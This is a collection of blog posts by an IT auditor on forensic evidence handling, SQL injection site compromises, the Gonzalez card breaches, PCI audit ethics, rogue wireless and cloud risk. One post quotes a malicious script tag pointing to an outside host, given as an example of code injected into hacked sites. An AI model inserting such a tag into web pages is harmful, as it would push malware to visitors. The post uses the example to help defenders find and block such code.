Admins and Auditors

Things You Can Do to Help An Investigation

Sooner or later, you will be called upon, as an Admin or an Auditor, to assist or address a possible fraud or event pertaining to someone’s computer, laptop, pda or smartphone. People can be very anxious and over-react when an event is happening. Or, just as difficult, proceed to do nothing, because they’re not sure what to do.

Neither approach is truly helpful to investigating a forensic fraud, theft or other computer-related incident. I was asked to do an exam, a few years ago, of the hard drives of a CFO who had admitted to fraud and was fired. Her computer sat on her desk, and her secretary AND the company admin both logged into the computer over the course of weeks before we were engaged.

The problem? Every time someone logs in, files get changed. The secretary checked her email; the admin was checking something else. If the company had wanted to prosecute, the evidence on her hard drive was hopelessly muddied and would not have stood up in court.

Here’s the best idea: take the computer and LOCK IT UP. Don’t let it just sit there (so the defense attorney can point out anyone could have logged in) and don’t let people use it. Yes, we might use some volatile data in memory, but many times the computer is already turned off.

If events happen quickly, the fraudster leaves the building with/out access to his/her computer for the last time and it’s still running: LOCK IT UP. If it’s in an office, secure the office and don’t let anyone into it. If it’s in an open area, that’s when you’ll need to power it down and lock it up.

Will these rules fit every situation? Probably not. But they will fit 85%. If you know it’s going to be a forensic situation ahead of time, I hope management lines up someone to come in immediately, who can capture data from a live machine. But if not, and you’re first on the scene, the two rules above are the most important.

Securing ALL Your Web Services

A number of commentators, notably IBM’s Kris Lamb, have reported that malicious code is no longer limited, for the most part, to p0rn and other sleazy websites. Hackers are targeting the more commonly used education, healthcare, blogging and small ecommerce websites where they can come in and insert hostile code which will forward the user’s browser to download malware.

“We’ve reached a tipping point where every website should be viewed as suspicious and every user is at risk,” Lamb said in a statement. “The threat convergence of the Web ecosystem is creating a perfect storm of criminal activity.”

The primary mode of attack appears to be SQL Injection, which still remains vulnerable because coding user input on a website correctly is technically challenging. So the bad guys hack in, drop a script such as :

“script src=http://a0v.org/x.js”

And it runs every time someone visits the page, silently installing malware in the background.

If you run a query in Google, around 60,000 websites have this embedded in their page code. Needless to say, don’t visit any of them. I used Google to check the three websites I support via the “site:” search function. You can, too.

What to do? Use some freeware or shareware to do an initial scan for vulnerabilities. Scan your web pages for odd looking script sources. If you find them, you’ll know your web code is vulnerable somewhere. Set about finding where in a hurry, because the bad guy, or some other bad guy will find it again.

Next, take a look at anything else coming in through your firewall: FTP, email and terminal services/Citrix. Consider any opening a vector for attack, even if you have locked down the external IP
sources. Watch the logs carefully and daily.

Finally, watch outbound connections for known sites, such as the one above. Keep your ear out on security sites for the latest of those, and block connections to them from your firewall until they can be shut down.

More work, of course, but much LESS work than a successful attack!

Points to Ponder: Reviewing the “SoupNazi” Activities

By now I’m sure you’ve heard that Albert Gonzalez is being charged with the attacks on Hannaford, Heartland, 7-Eleven, etc. In between all the excited reporting, are some points that admins and auditors ought to pay attention to. We ought to ponder how this attack is different from attacks in the past, and why this attack was so successful.

1. Using a “team.” Most of his team have not been captured, residing as they may somewhere overseas. Using a multiple talent set across several different technical approaches increases the chances of success. This is becoming more and more common, especially with ATM break ins.

2. They used SQL-injection attacks. This isn’t new, but all of these folks were having quarterly scans from external vendors as part of PCI compliance. Why didn’t the scans catch the injection vulnerabilities? Makes you want to take another look at the scanning company you may be using, doesn’t it?

3. They broke in via wireless. Anyone still using WEP out there - it’s now trivial to crack the protocol, and someone will certainly do it if you offer it up.

4. There’s a big market for those credit cards and the people that can get to them. Over 130 million cards made him a LOT of money.

And we still don’t know “exactly” how he was caught, do we?

Blaming the Auditor for Bad Security

Heartland Security has attempted to point the “Public Finger of Blame” at the hapless QSA auditor they used for PCI compliance, saying that the “QSA let us down.” So who is in charge of security, Heartland or the auditor?

Security is a corporate posture, not a pass/fail compliance test. You can pass the test and the next day change settings on the firewall that turn it into a router. Is the QSA still responsible? Nope. We don’t really know all the details of what happened at Heartland. But we do know that being compliant does not equal being secure. Never has, never will.

For a well written post excising this “Finger,” check out this article on CSO, written by Ben Rothke and Anton Chuvakin. Let’s just say that blaming the door lock when you’ve left the windows open is not a viable public relations option.

The corporate security posture should provide a mandate, from the top down, of the company’s position on information security. The power of C-level executives enforcing the mandate has to come into play. Otherwise it’s just window dressing - and open windows are no way to manage the security of your environment.

What IS the corporate policy? How effective is it? Is management promoting AND funding it? Policies that are effective also protect the information of employees. Everybody wins, even, long term, the stockholders.

Adventures in Auditing #3, or “Why Do you Need to See That?”

It always pains me when I get this question from a client’s IT staff. It usually means that auditing has never penetrated to that level, and people are used to doing pretty much what they please around the network. It usually goes with:

“This is a development shop. Those are not production servers or databases - so why are you asking to see users, patching, inventory, etc????”

These are the kinds of questions that will keep me employed as a successful penetration tester AND a digital forensics analyst. When I’m dead someone will prop me up to keep going.

A development environment is EXACTLY where a penetration tester goes first for exactly this reason. When you don’t know what’s running on your network, you don’t know who is on your network.

If it’s on your network, the company is responsible. Legally responsible. And that question will not hold up in court.

It’s a great version of the “sniff test:” Imagine saying it on the witness stand to a judge.

Adventures in Auditing #1

I’m still amazed that folks are going about their business believing that bad things won’t happen. Is it human nature? I thought I’d share with you some of my latest adventures in traveling about and auditing various companies. Just when I think it’s strange, it get stranger.

I was doing an audit and I routinely check for wireless connections. The manager had assured me that their policy was: no wireless. OK, but I check anyway. It’s the nature of my work: controls should be in place and they should be working. Essentially a very simple rule.

Behold, a Linksys wireless router popped up with an obvious default configuration. I followed my trusty wireless signal scanner downstairs through several departments until I came upon it sitting out in the open near a group of desks.

I headed back upstairs and asked the manager about it. His face flushed, and he said, “Where is it?” He followed me downstairs, I pointed out the router, and he reached over and yanked the network cable right out of the wall, looked around, and said, “Who plugged this in?” When no one responded, he took the casing off and stomped on it. A silence ensued.

He was peeved. Glad it wasn’t my router. Not because of the router, mind you, but the person who owned it was obviously going to have a discussion with this manager before long.

Back upstairs, his dignity somewhat restored, the manager asked about my wireless signal scanner, and I promptly demonstrated its virtues (electronics can be soothing). Canary makes a great one that scans for b/g and n networks, giving me the type of encryption AND the SSID so that I don’t have to even open my laptop. It has a visual meter so I can home in on the source of the signal and actually find the access point without my laptop (which is rather obvious).

I was ready to give it to him in hopes of escaping any further compliance corrections, but he seemed calmer at that point and thought getting one of his own was a smashingly good idea. (Sorry, I couldn’t resist).

The Tangled Ethics of the Payment Card Industry DSS

I just finished reading an absolutely terrific article from a sister auditor who is now on my short-list of must-reads. She’s got a great name (Gunn) and a killer sense of humor (sorry, I could NOT resist).

“Why Suing Auditors Won’t Solve the Problem”
is worth a read for her point of view on what it’s really like in Audit-Land.

A bank that was impacted by a data breach at a merchant is suing the QSA firm that performed the PCI exam and signed off that the merchant was compliant. They want to recoup the money they lost from replacing all the credit cards to their customers and dealing with related fraud from the breach.

Her point of view presents the difficulties auditors have in providing reports and doing exams, as well as the foibles of various firms.

It’s a painful, but absolutely true description of how clients can respond to auditors when they don’t get the exam results they like - “Throw the bums out, and hire better (meaning cheaper AND more cooperative) ones!” As well as pushing a report documenting problems to the circular file.

What is equally painful is that there are certainly “security auditors” out there who are more than willing to do the “check box” report, collect their check, and hit the door. They are usually the cheapest bidder, by the way.

She makes an interesting point about PCI auditors, however. In order to be compliant, merchants can either do one of three options: their own report, or hire auditors to do a report they can sign off on, or hire an independent, licensed QSA firm to provide an independent report, on their behalf, to their acquiring bank, which until recently did not have to forward the report to the Credit Card Consortium.

Consider that the QSA firm is required to have liability insurance, pay a hefty yearly fee to the Consortium and provide an independent assessment. This requires a firm with pretty deep pockets (a juicy candidate for a lawsuit) and a good skillset of people. Staff of a QSA firm must have at least 10 years of experience and a CISSP running the assessment. As a result, the number of QSA firms is limited to large audit/accounting firms and security companies.

The challenge is that the client they are assessing is also paying their bill. And most of the security companies doing PCI exams also sell security products. Two fundamental conflicts with true independence, don’t you think?

Most merchants tend to do the internal self-exam, where they can manage their own report or hire a firm to do the report they can then sign off on. This means they may hire firms that do not have the same level of experience to get the job done more cheaply. See Eigen’s Rules of Thumb numbers 1 and 6.

The second challenge is that merchants can change the configuration that was tested a week after the QSA firm issues a report.

Perhaps the most fundamental issue is the public’s expectation that PCI compliance = a secure architecture that protects their information. Given that a large percentage of merchants are only partially compliant (meaning that they have met some, but not all, of the requirements and have a plan in place to be compliant at some point soon, i.e., TJMaxx, and we can see how that worked) and most merchants are doing the internal exam, there is generally a recipe for chaos.

Acquiring Banks, of course (meaning those banks who have acquired, and are supposed to manage merchant accounts) are placed in the role of security monitor by the Credit Card Consortium. They also levy fines (the ones handed down by the CCC) and set timeline requirements for PCI compliance.
Can they cut off a merchant who is making the Bank loads of money for not being compliant? Yes. Are they likely to? Probably not.

Consider that if a merchant is not fully compliant, their level of security is below the minimum. Would I want to give that merchant my credit card info? Probably not. The merchant would start to lose business based on that poor reputation, which is why PCI doesn’t publish a list of merchants who are fully compliant.

Confused yet? Me, too. Use cash and checks. Preferably cash.

So what is a poor admin to do? Focus on securing the systems under your purview and documenting your efforts. If you’re doing the job you know you should be doing, sooner or later, when the auditors show up at your door, your efforts will be validated and you can sleep at night.

Storm Clouds Ahead

It seems like every big vendor is pushing for business to “use the cloud.” Only now are we starting to see some questions arise in the general media about how secure cloud computing is.

The short answer is: it’s not. Intrinsically, whoever has physical ownership of your hardware has your data. It’s all very nice to say you will save money by outsourcing, but there are no hard and fast statistics to support that. What you save in outsourcing may come back in the form of increased costs for securing your data outside of your data center.

And you do know, of course, that the Feds can look at your data in that cloud without a warrant, don’t you?

So what CAN you do to save money and justify the “real costs” of keeping your data local to higher management?

First: Explore virtualization - Many organizations have realized enormous hard savings in electricity, storage space, UPS, etc by utilizing Virtual Machines to run their applications. The added bonus is that you can have immediate full backups stored elsewhere. It’s also marvelously easy to test a patch on a virtual machine, without having to worry about breaking something in production.

Second - Re-negotiate contracts - If a vendor isn’t meeting your standards, now is the time to switch. There is an enormous competition going on with this downturn of the economy. IF nothing else, get a better deal than the contracts you have.

There’s quite a bit on the web that can help you justify costs internally. But when the discussion about clouds comes up, make sure you ask the questions needed, such as:

1. How we will provide audit information from the cloud?
2. How do we control access to our data? (This will be the real question, because ultimately, the cloud vendor will control access, not your company. You may be able to control application access, but that does not address the server OS or underlying database controls.)
3. How will we monitor access to our data? Because there is no standard for thin-client computing security, the answers will be all over the map, and usually cost you more money.

The PCI standards council is currently looking at cloud computing with an eye to evaluating the security of credit card data. I’ll be interested to hear what they come up with. In the mean time, consider on of my Rules of Thumb: You can outsource data, but you can’t outsource data responsibility.

If you do find a vendor that says they can help you stay compliant, make sure you understand the contract very, very well. Your job could depend on it. I suspect the cost savings will be small, but it’s worth examining just for comparison’s sake with what your organization is doing now.

When a Control is NOT a Control or, “It’s Good Enough”

I run into an awful lot of engineers who hate paperwork (I feel the same way.) They are busy fixing problems, building new application support and dealing with upper managers who have no idea what they’re asking for, clueless users and now I come along to top it off asking for a bunch of documentation.

Been there, done that.

I gently explain, after I have corrected their misapprehension that auditors know nothing about IT, that if it’s not written down, it doesn’t exist. I know some engineers who believe in job security that way, but the fact is it just makes it harder for the next person to step into that role. That role will always exist. So why make it easier for the next person? Sooner or later, that next person will be you.

Why write down how a server should be built? Why write down how the servers get patched? Why bother changing the administrator password on all the servers and a different one on all the workstations? Why check to make sure that the anti virus server is actually updating all those machines? Why test to confirm that the group policy for downloading patches is actually working, and how to do that?

It’s part of being a professional engineer. It’s part of all the certifications we have signed off on; that pesky ethical paragraph that asks us to be responsible, dedicated and at the top of our game whether the job asks for that, or more commonly, does not.

It’s also a really great way of showing just how much work you do.

“Good Enough” is short for “Good Enough to Get Hacked.”

Bottom line? When you are sitting in front of a judge testifying as to what steps were taken to secure your organization, you WILL be asked what policies, standards and procedures you were following. If you have none to give the judge, you will be roasted by the jury, and your company will lose its case.

We can blame the company for not “making” us do it, but that’s not the real deal, is it?

Looking for Some Good (and FREE!) IT Policy Templates?

Thanks to an email, I’ve come across a great website to offer you when it’s time to go looking for some good policy templates.

SANS, the be-all end-all of security training, has organized a website that offers us free policy and standards templates, as well as a course, if you need it.

You’ll need to scroll down a bit to get to all the templates. There are also some nifty security awareness posters and some explanations for the difference between policy, standards, and procedures.

I downloaded over two dozen document templates. There’s some really good stuff here for Admins and Auditors.